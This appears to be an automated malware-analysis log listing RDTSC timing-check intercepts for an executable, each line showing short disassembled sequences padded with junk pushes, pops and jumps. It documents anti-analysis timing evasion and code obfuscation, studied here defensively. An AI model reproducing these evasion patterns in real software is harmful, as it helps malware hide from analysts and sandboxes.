Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107455 second address: 1107462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F441484CE76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107462 second address: 1107466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11096B4 second address: 11096BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11096BA second address: 11096BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11096BE second address: 110974B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2506h], esi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b sub dword ptr [ebp+122D2BE1h], edx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007F441484CE78h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 mov eax, dword ptr [ebp+122D059Dh] 0x00000048 mov dword ptr [ebp+122D23B9h], esi 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push ebx 0x00000053 call 00007F441484CE78h 0x00000058 pop ebx 0x00000059 mov dword ptr [esp+04h], ebx 0x0000005d add dword ptr [esp+04h], 00000016h 0x00000065 inc ebx 0x00000066 push ebx 0x00000067 ret 0x00000068 pop ebx 0x00000069 ret 0x0000006a jbe 00007F441484CE7Ch 0x00000070 mov dword ptr [ebp+122D31FBh], esi 0x00000076 push eax 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push edx 0x0000007b pop edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A70F second address: 110A715 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111B71 second address: 1111B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE87h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111CD6 second address: 1111CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F4414D31C37h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111CF5 second address: 1111D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F441484CE7Dh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111D0D second address: 1111D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4414D31C39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116719 second address: 1116738 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F441484CE7Fh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116738 second address: 1116751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F4414D31C28h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F4414D31C26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116751 second address: 1116775 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F441484CE87h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11189D2 second address: 11189FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4414D31C26h 0x0000000a popad 0x0000000b jno 00007F4414D31C3Ah 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11189FB second address: 1118A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CDDD second address: 111CDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CDE1 second address: 111CDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CF6E second address: 111CF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D622 second address: 111D636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F441484CE7Bh 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D636 second address: 111D63A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D63A second address: 111D644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D644 second address: 111D64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D64A second address: 111D64E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D783 second address: 111D79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4414D31C35h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D79E second address: 111D7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F441484CE7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F441484CE76h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D7B9 second address: 111D7EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F4414D31C33h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D94A second address: 111D954 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F441484CE7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D954 second address: 111D968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4414D31C28h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D968 second address: 111D975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D975 second address: 111D97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D97B second address: 111D980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D980 second address: 111D9AA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4414D31C35h 0x00000008 jmp 00007F4414D31C2Dh 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D9AA second address: 111D9AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11240C1 second address: 11240E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4414D31C39h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11240E2 second address: 11240F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F441484CE76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11240F1 second address: 11240FE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11240FE second address: 1124104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122DAE second address: 1122DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122DB8 second address: 1122DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123048 second address: 1123050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123050 second address: 112309C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Ah 0x00000007 jmp 00007F441484CE82h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F441484CE83h 0x00000017 jmp 00007F441484CE7Eh 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112309C second address: 11230B0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4414D31C26h 0x00000008 jl 00007F4414D31C26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11230B0 second address: 11230B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11230B4 second address: 11230C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4029 second address: 10F402D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126E0C second address: 1126E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F4414D31C2Ah 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126E1F second address: 1126E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B227 second address: 112B24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007F4414D31C40h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B24C second address: 112B26A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F441484CE78h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F441484CE7Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED7B6 second address: 10D6D4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call dword ptr [ebp+122DB72Ah] 0x00000011 push eax 0x00000012 push ebx 0x00000013 jmp 00007F4414D31C39h 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F4414D31C26h 0x00000021 jnc 00007F4414D31C26h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDD4F second address: 10EDD59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDF2A second address: 10EDF49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4414D31C2Ch 0x00000008 jnc 00007F4414D31C26h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDF49 second address: 10EDF53 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F441484CE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDF53 second address: 10EDF59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDFCF second address: 10EDFD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE168 second address: 10EE16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE16D second address: 10EE190 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F441484CE86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE2DF second address: 10EE2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE9FC second address: 10EEA02 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEA02 second address: 10EEA4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, 58776D77h 0x0000000f lea eax, dword ptr [ebp+12481487h] 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F4414D31C28h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f nop 0x00000030 jo 00007F4414D31C34h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEA4D second address: 10EEA51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEA51 second address: 10EEA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jnp 00007F4414D31C26h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEA62 second address: 10D7903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F441484CE78h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 call dword ptr [ebp+122D180Bh] 0x0000002a jp 00007F441484CE8Eh 0x00000030 pushad 0x00000031 ja 00007F441484CE76h 0x00000037 push eax 0x00000038 pop eax 0x00000039 push esi 0x0000003a pop esi 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e push edi 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0CD1 second address: 10A0D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F4414D31C2Dh 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push edi 0x00000017 jmp 00007F4414D31C32h 0x0000001c pop edi 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B85E second address: 112B87A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B87A second address: 112B881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B881 second address: 112B892 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F441484CE7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B9BD second address: 112B9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112BC8F second address: 112BC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11309D7 second address: 11309F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11309F3 second address: 11309FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130D09 second address: 1130D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Dh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F4414D31C2Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130D2D second address: 1130D32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130D32 second address: 1130D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130D3D second address: 1130D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113128E second address: 11312AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C33h 0x00000007 jc 00007F4414D31C26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11312AF second address: 11312B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11312B3 second address: 11312C3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4414D31C26h 0x00000008 jno 00007F4414D31C26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11315B6 second address: 11315BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131748 second address: 1131769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F4414D31C34h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131769 second address: 113176F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113176F second address: 113177A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382BA second address: 11382BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382BE second address: 11382E4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4414D31C26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007F4414D31C36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382E4 second address: 11382E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382E8 second address: 11382EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382EE second address: 11382F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11382F4 second address: 11382F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138482 second address: 1138486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138486 second address: 113848A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113848A second address: 113849F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F441484CE7Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
